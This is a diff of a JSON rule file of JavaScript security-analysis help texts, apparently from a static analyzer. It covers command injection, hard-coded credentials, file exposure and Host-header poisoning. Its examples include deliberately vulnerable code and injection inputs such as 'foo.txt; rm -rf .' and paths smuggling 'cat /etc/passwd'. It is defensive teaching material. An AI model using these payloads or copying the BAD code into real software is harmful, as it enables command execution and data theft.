+            "text" : "# Shell command built from environment values\nDynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, use hard-coded string literals to specify the shell command to run, and provide the dynamic arguments to the shell command separately to avoid interpretation by the shell.\n\nAlternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters in environment values do not alter the shell command unexpectedly.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts.\n\n\n```javascript\nvar cp = require(\"child_process\"),\n  path = require(\"path\");\nfunction cleanupTemp() {\n  let cmd = \"rm -rf \" + path.join(__dirname, \"temp\");\n  cp.execSync(cmd); // BAD\n}\n\n```\nThe shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path.\n\nFor instance, if the absolute path of the temporary directory is `/home/username/important project/temp`, then the shell command will recursively delete `/home/username/important` and `project/temp`, where the latter path gets resolved relative to the working directory of the JavaScript process.\n\nEven worse, although less likely, a malicious user could provide the path `/home/username/; cat /etc/passwd #/important project/temp` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n  path = require(\"path\");\nfunction cleanupTemp() {\n  let cmd = \"rm\",\n    args = [\"-rf\", path.join(__dirname, \"temp\")];\n  cp.execFileSync(cmd, args); // GOOD\n}\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n",
+            "markdown" : "# Shell command built from environment values\nDynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, use hard-coded string literals to specify the shell command to run, and provide the dynamic arguments to the shell command separately to avoid interpretation by the shell.\n\nAlternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters in environment values do not alter the shell command unexpectedly.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts.\n\n\n```javascript\nvar cp = require(\"child_process\"),\n  path = require(\"path\");\nfunction cleanupTemp() {\n  let cmd = \"rm -rf \" + path.join(__dirname, \"temp\");\n  cp.execSync(cmd); // BAD\n}\n\n```\nThe shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path.\n\nFor instance, if the absolute path of the temporary directory is `/home/username/important project/temp`, then the shell command will recursively delete `/home/username/important` and `project/temp`, where the latter path gets resolved relative to the working directory of the JavaScript process.\n\nEven worse, although less likely, a malicious user could provide the path `/home/username/; cat /etc/passwd #/important project/temp` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n  path = require(\"path\");\nfunction cleanupTemp() {\n  let cmd = \"rm\",\n    args = [\"-rf\", path.join(__dirname, \"temp\")];\n  cp.execFileSync(cmd, args); // GOOD\n}\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-1004" ],
-            "description" : "Sensitive cookies set by a server can be read by the client if the `httpOnly` flag is not set.",
-            "id" : "js/client-exposed-cookie",
-            "kind" : "problem",
-            "name" : "Sensitive server cookie exposed to the client",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ],
+            "description" : "Building a shell command string with values from the enclosing\n              environment may cause subtle bugs or vulnerabilities.",
+            "id" : "js/shell-command-injection-from-environment",
+            "kind" : "path-problem",
+            "name" : "Shell command built from environment values",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "5.0"
+            "security-severity" : "6.3"
           }
         }, {
-          "id" : "js/exposure-of-private-files",
-          "name" : "js/exposure-of-private-files",
+          "id" : "js/shell-command-constructed-from-input",
+          "name" : "js/shell-command-constructed-from-input",
           "shortDescription" : {
-            "text" : "Exposure of private files"
+            "text" : "Unsafe shell command constructed from library input"
           },
           "fullDescription" : {
-            "text" : "Exposing a node_modules folder, or the project folder to the public, can cause exposure of private information."
+            "text" : "Using externally controlled strings in a command line may allow a malicious user to change the meaning of the command."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Exposure of private files\nLibraries like `express` provide easy methods for serving entire directories of static files from a web server. However, using these can sometimes lead to accidental information exposure. If for example the `node_modules` folder is served, then an attacker can access the `_where` field from a `package.json` file, which gives access to the absolute path of the file.\n\n\n## Recommendation\nLimit which folders of static files are served from a web server.\n\n\n## Example\nIn the example below, all the files from the `node_modules` are served. This allows clients to easily access all the files inside that folder, which includes potentially private information inside `package.json` files.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use('/node_modules', express.static(path.resolve(__dirname, '../node_modules')));\n```\nThe issue has been fixed below by only serving specific folders within the `node_modules` folder.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use(\"jquery\", express.static('./node_modules/jquery/dist'));\napp.use(\"bootstrap\", express.static('./node_modules/bootstrap/dist'));\n```\n\n## References\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n* Common Weakness Enumeration: [CWE-219](https://cwe.mitre.org/data/definitions/219.html).\n* Common Weakness Enumeration: [CWE-548](https://cwe.mitre.org/data/definitions/548.html).\n",
-            "markdown" : "# Exposure of private files\nLibraries like `express` provide easy methods for serving entire directories of static files from a web server. However, using these can sometimes lead to accidental information exposure. If for example the `node_modules` folder is served, then an attacker can access the `_where` field from a `package.json` file, which gives access to the absolute path of the file.\n\n\n## Recommendation\nLimit which folders of static files are served from a web server.\n\n\n## Example\nIn the example below, all the files from the `node_modules` are served. This allows clients to easily access all the files inside that folder, which includes potentially private information inside `package.json` files.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use('/node_modules', express.static(path.resolve(__dirname, '../node_modules')));\n```\nThe issue has been fixed below by only serving specific folders within the `node_modules` folder.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use(\"jquery\", express.static('./node_modules/jquery/dist'));\napp.use(\"bootstrap\", express.static('./node_modules/bootstrap/dist'));\n```\n\n## References\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n* Common Weakness Enumeration: [CWE-219](https://cwe.mitre.org/data/definitions/219.html).\n* Common Weakness Enumeration: [CWE-548](https://cwe.mitre.org/data/definitions/548.html).\n"
+            "text" : "# Unsafe shell command constructed from library input\nDynamically constructing a shell command with inputs from exported functions may inadvertently change the meaning of the shell command. Clients using the exported function may use inputs containing characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, provide the dynamic arguments to the shell as an array using a safe API such as `child_process.execFile` to avoid interpretation by the shell.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nAlternatively, if the command must be interpreted by a shell (for example because it includes I/O redirections), you can use `shell-quote` to escape any special characters in the input before embedding it in the command.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that downloads a file from a remote URL.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + path, callback);\n}\n\n```\nThe shell command will, however, fail to work as intended if the input contains spaces or other special characters interpreted in a special way by the shell.\n\nEven worse, a client might pass in user-controlled data, not knowing that the input is interpreted as a shell command. This could allow a malicious user to provide the input `http://example.org; cat /etc/passwd` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the inputs from exported functions as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.execFile(\"wget\", [path], callback);\n}\n\n```\nAs another example, consider the following code which is similar to the preceding example, but pipes the output of `wget` into `wc -l` to count the number of lines in the downloaded file.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + path + \" | wc -l\", callback);\n};\n\n```\nIn this case, using `child_process.execFile` is not an option because the shell is needed to interpret the pipe operator. Instead, you can use `shell-quote` to escape the input before embedding it in the command:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + shellQuote.quote([path]) + \" | wc -l\", callback);\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n",
+            "markdown" : "# Unsafe shell command constructed from library input\nDynamically constructing a shell command with inputs from exported functions may inadvertently change the meaning of the shell command. Clients using the exported function may use inputs containing characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, provide the dynamic arguments to the shell as an array using a safe API such as `child_process.execFile` to avoid interpretation by the shell.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nAlternatively, if the command must be interpreted by a shell (for example because it includes I/O redirections), you can use `shell-quote` to escape any special characters in the input before embedding it in the command.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that downloads a file from a remote URL.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + path, callback);\n}\n\n```\nThe shell command will, however, fail to work as intended if the input contains spaces or other special characters interpreted in a special way by the shell.\n\nEven worse, a client might pass in user-controlled data, not knowing that the input is interpreted as a shell command. This could allow a malicious user to provide the input `http://example.org; cat /etc/passwd` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the inputs from exported functions as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.execFile(\"wget\", [path], callback);\n}\n\n```\nAs another example, consider the following code which is similar to the preceding example, but pipes the output of `wget` into `wc -l` to count the number of lines in the downloaded file.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + path + \" | wc -l\", callback);\n};\n\n```\nIn this case, using `child_process.execFile` is not an option because the shell is needed to interpret the pipe operator. Instead, you can use `shell-quote` to escape the input before embedding it in the command:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + shellQuote.quote([path]) + \" | wc -l\", callback);\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-200", "external/cwe/cwe-219", "external/cwe/cwe-548" ],
-            "description" : "Exposing a node_modules folder, or the project folder to the public, can cause exposure\n              of private information.",
-            "id" : "js/exposure-of-private-files",
-            "kind" : "problem",
-            "name" : "Exposure of private files",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ],
+            "description" : "Using externally controlled strings in a command line may allow a malicious\n              user to change the meaning of the command.",
+            "id" : "js/shell-command-constructed-from-input",
+            "kind" : "path-problem",
+            "name" : "Unsafe shell command constructed from library input",
             "precision" : "high",
-            "problem.severity" : "warning",
-            "security-severity" : "6.5"
+            "problem.severity" : "error",
+            "security-severity" : "6.3"
           }
         }, {
-          "id" : "js/hardcoded-credentials",
-          "name" : "js/hardcoded-credentials",
+          "id" : "js/command-line-injection",
+          "name" : "js/command-line-injection",
           "shortDescription" : {
-            "text" : "Hard-coded credentials"
+            "text" : "Uncontrolled command line"
           },
           "fullDescription" : {
-            "text" : "Hard-coding credentials in source code may enable an attacker to gain unauthorized access."
+            "text" : "Using externally controlled strings in a command line may allow a malicious user to change the meaning of the command."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Hard-coded credentials\nIncluding unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information.\n\n\n## Recommendation\nRemove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access.\n\n\n## Example\nThe following code example connects to an HTTP request using an hard-codes authentication header:\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = 'user';\nlet password = 'passwd';\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n          method:'GET',\n          headers: headers\n       })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\nInstead, user name and password can be supplied through the environment variables `username` and `password`, which can be set externally without hard-coding credentials in the source code.\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = process.env.USERNAME;\nlet password = process.env.PASSWORD;\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n        method:'GET',\n        headers: headers\n     })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\n\n## Example\nThe following code example connects to a Postgres database using the `pg` package and hard-codes user name and password:\n\n\n```javascript\nconst pg = require(\"pg\");\n\nconst client = new pg.Client({\n  user: \"bob\",\n  host: \"database.server.com\",\n  database: \"mydb\",\n  password: \"correct-horse-battery-staple\",\n  port: 3211\n});\nclient.connect();\n\n```\nInstead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code.\n\n\n## References\n* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password).\n* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html).\n* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html).\n* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html).\n",
-            "markdown" : "# Hard-coded credentials\nIncluding unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information.\n\n\n## Recommendation\nRemove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access.\n\n\n## Example\nThe following code example connects to an HTTP request using an hard-codes authentication header:\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = 'user';\nlet password = 'passwd';\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n          method:'GET',\n          headers: headers\n       })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\nInstead, user name and password can be supplied through the environment variables `username` and `password`, which can be set externally without hard-coding credentials in the source code.\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = process.env.USERNAME;\nlet password = process.env.PASSWORD;\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n        method:'GET',\n        headers: headers\n     })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\n\n## Example\nThe following code example connects to a Postgres database using the `pg` package and hard-codes user name and password:\n\n\n```javascript\nconst pg = require(\"pg\");\n\nconst client = new pg.Client({\n  user: \"bob\",\n  host: \"database.server.com\",\n  database: \"mydb\",\n  password: \"correct-horse-battery-staple\",\n  port: 3211\n});\nclient.connect();\n\n```\nInstead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code.\n\n\n## References\n* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password).\n* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html).\n* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html).\n* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html).\n"
+            "text" : "# Uncontrolled command line\nCode that passes untrusted user input directly to `child_process.exec` or similar APIs that execute shell commands allows the user to execute malicious code.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and that accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that the user input string is safe before using it.\n\n\n## Example\nThe following example shows code that extracts a filename from an HTTP query parameter that may contain untrusted data, and then embeds it into a shell command to count its lines without examining it first:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    cp.execSync(`wc -l ${file}`); // BAD\n});\n\n```\nA malicious user can take advantage of this code by executing arbitrary shell commands. For example, by providing a filename like `foo.txt; rm -rf .`, the user can first count the lines in `foo.txt` and subsequently delete all files in the current directory.\n\nTo avoid this catastrophic behavior, use an API such as `child_process.execFileSync` that does not spawn a shell by default:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    cp.execFileSync('wc', ['-l', file]); // GOOD\n});\n\n```\nIf you want to allow the user to specify other options to `wc`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url'),\n    shellQuote = require('shell-quote');\n\nvar server = http.createServer(function(req, res) {\n    let options = url.parse(req.url, true).query.options;\n\n    cp.execFileSync('wc', shellQuote.parse(options)); // GOOD\n});\n\n```\nAlternatively, the original example can be made safe by checking the filename against an allowlist of safe characters before using it:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    // only allow safe characters in file name\n    if (file.match(/^[\\w\\.\\-\\/]+$/)) {\n        cp.execSync(`wc -l ${file}`); // GOOD\n    }\n});\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n",
+            "markdown" : "# Uncontrolled command line\nCode that passes untrusted user input directly to `child_process.exec` or similar APIs that execute shell commands allows the user to execute malicious code.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and that accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that the user input string is safe before using it.\n\n\n## Example\nThe following example shows code that extracts a filename from an HTTP query parameter that may contain untrusted data, and then embeds it into a shell command to count its lines without examining it first:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    cp.execSync(`wc -l ${file}`); // BAD\n});\n\n```\nA malicious user can take advantage of this code by executing arbitrary shell commands. For example, by providing a filename like `foo.txt; rm -rf .`, the user can first count the lines in `foo.txt` and subsequently delete all files in the current directory.\n\nTo avoid this catastrophic behavior, use an API such as `child_process.execFileSync` that does not spawn a shell by default:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    cp.execFileSync('wc', ['-l', file]); // GOOD\n});\n\n```\nIf you want to allow the user to specify other options to `wc`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url'),\n    shellQuote = require('shell-quote');\n\nvar server = http.createServer(function(req, res) {\n    let options = url.parse(req.url, true).query.options;\n\n    cp.execFileSync('wc', shellQuote.parse(options)); // GOOD\n});\n\n```\nAlternatively, the original example can be made safe by checking the filename against an allowlist of safe characters before using it:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    // only allow safe characters in file name\n    if (file.match(/^[\\w\\.\\-\\/]+$/)) {\n        cp.execSync(`wc -l ${file}`); // GOOD\n    }\n});\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-259", "external/cwe/cwe-321", "external/cwe/cwe-798" ],
-            "description" : "Hard-coding credentials in source code may enable an attacker\n              to gain unauthorized access.",
-            "id" : "js/hardcoded-credentials",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ],
+            "description" : "Using externally controlled strings in a command line may allow a malicious\n              user to change the meaning of the command.",
+            "id" : "js/command-line-injection",
             "kind" : "path-problem",
-            "name" : "Hard-coded credentials",
+            "name" : "Uncontrolled command line",
             "precision" : "high",
-            "problem.severity" : "warning",
+            "problem.severity" : "error",
             "security-severity" : "9.8"
           }
         }, {
-          "id" : "js/host-header-forgery-in-email-generation",
-          "name" : "js/host-header-forgery-in-email-generation",
+          "id" : "js/second-order-command-line-injection",
+          "name" : "js/second-order-command-line-injection",
           "shortDescription" : {
-            "text" : "Host header poisoning in email generation"
+            "text" : "Second order command injection"
           },
           "fullDescription" : {
-            "text" : "Using the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens."
+            "text" : "Using user-controlled data as arguments to some commands, such as git clone, can allow arbitrary commands to be executed."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Host header poisoning in email generation\nUsing the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens. A malicious user can send an HTTP request to the targeted web site, but with a Host header that refers to his own web site. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious web site.\n\nIf the email contains a password reset link, and should the victim click the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password.\n\n\n## Recommendation\nObtain the server's host name from a configuration file and avoid relying on the Host header.\n\n\n## Example\nThe following example uses the `req.host` to generate a password reset link. This value is derived from the Host header, and can thus be set to anything by an attacker:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n  let email = req.query.email;\n  let transport = nodemailer.createTransport(config.smtp);\n  let token = backend.getUserSecretResetToken(email);\n  transport.sendMail({\n    from: 'webmaster@example.com',\n    to: email,\n    subject: 'Forgot password',\n    text: `Click to reset password: https://${req.host}/resettoken/${token}`,\n  });\n});\n\n```\nTo ensure the link refers to the correct web site, get the host name from a configuration file:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n  let email = req.query.email;\n  let transport = nodemailer.createTransport(config.smtp);\n  let token = backend.getUserSecretResetToken(email);\n  transport.sendMail({\n    from: 'webmaster@example.com',\n    to: email,\n    subject: 'Forgot password',\n    text: `Click to reset password: https://${config.hostname}/resettoken/${token}`,\n  });\n});\n\n```\n\n## References\n* Mitre: [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html).\n* Ian Muscat: [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/).\n* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html).\n",
-            "markdown" : "# Host header poisoning in email generation\nUsing the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens. A malicious user can send an HTTP request to the targeted web site, but with a Host header that refers to his own web site. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious web site.\n\nIf the email contains a password reset link, and should the victim click the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password.\n\n\n## Recommendation\nObtain the server's host name from a configuration file and avoid relying on the Host header.\n\n\n## Example\nThe following example uses the `req.host` to generate a password reset link. This value is derived from the Host header, and can thus be set to anything by an attacker:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n  let email = req.query.email;\n  let transport = nodemailer.createTransport(config.smtp);\n  let token = backend.getUserSecretResetToken(email);\n  transport.sendMail({\n    from: 'webmaster@example.com',\n    to: email,\n    subject: 'Forgot password',\n    text: `Click to reset password: https://${req.host}/resettoken/${token}`,\n  });\n});\n\n```\nTo ensure the link refers to the correct web site, get the host name from a configuration file:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n  let email = req.query.email;\n  let transport = nodemailer.createTransport(config.smtp);\n  let token = backend.getUserSecretResetToken(email);\n  transport.sendMail({\n    from: 'webmaster@example.com',\n    to: email,\n    subject: 'Forgot password',\n    text: `Click to reset password: https://${config.hostname}/resettoken/${token}`,\n  });\n});\n\n```\n\n## References\n* Mitre: [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html).\n* Ian Muscat: [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/).\n* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html).\n"
+            "text" : "# Second order command injection\nSome shell commands, like `git ls-remote`, can execute arbitrary commands if a user provides a malicious URL that starts with `--upload-pack`. This can be used to execute arbitrary code on the server.\n\n\n## Recommendation\nSanitize user input before passing it to the shell command. For example, ensure that URLs are valid and do not contain malicious commands.\n\n\n## Example\nThe following example shows code that executes `git ls-remote` on a URL that can be controlled by a malicious user.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n  const remote = req.query.remote;\n  cp.execFile(\"git\", [\"ls-remote\", remote]); // NOT OK\n});\n\n```\nThe problem has been fixed in the snippet below, where the URL is validated before being passed to the shell command.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n  const remote = req.query.remote;\n  if (!(remote.startsWith(\"git@\") || remote.startsWith(\"https://\"))) {\n    throw new Error(\"Invalid remote: \" + remote);\n  }\n  cp.execFile(\"git\", [\"ls-remote\", remote]); // OK\n});\n\n```\n\n## 